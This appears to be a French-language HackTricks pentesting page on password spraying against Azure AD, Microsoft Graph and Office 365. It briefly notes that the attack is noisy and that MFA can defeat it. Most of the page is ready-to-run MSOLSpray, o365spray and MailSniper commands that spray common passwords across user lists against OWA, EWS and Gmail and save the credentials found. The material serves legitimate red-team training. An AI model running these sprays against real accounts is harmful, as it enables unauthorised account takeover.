# Az - Password Spraying

{{#include ../../../banners/hacktricks-training.md}}

## Password Spray

Dans **Azure**, cela peut être fait contre **différents points de terminaison API** comme Azure AD Graph, Microsoft Graph, le service web de reporting Office 365, etc.

Cependant, notez que cette technique est **très bruyante** et que l'équipe de sécurité peut **facilement la détecter**. De plus, la **complexité de mot de passe forcée** et l'utilisation de **MFA** peuvent rendre cette technique presque inutile.

Vous pouvez effectuer une attaque par spray de mots de passe avec [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
```bash
. .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
```
Ou avec [**o365spray**](https://github.com/0xZDH/o365spray)
```bash
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
```
Ou avec [**MailSniper**](https://github.com/dafthack/MailSniper)
```bash
#OWA
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
#EWS
Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile sprayed-ews-creds.txt
#Gmail
Invoke-PasswordSprayGmail -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile gmail-sprayed-creds.txt
```
{{#include ../../../banners/hacktricks-training.md}}
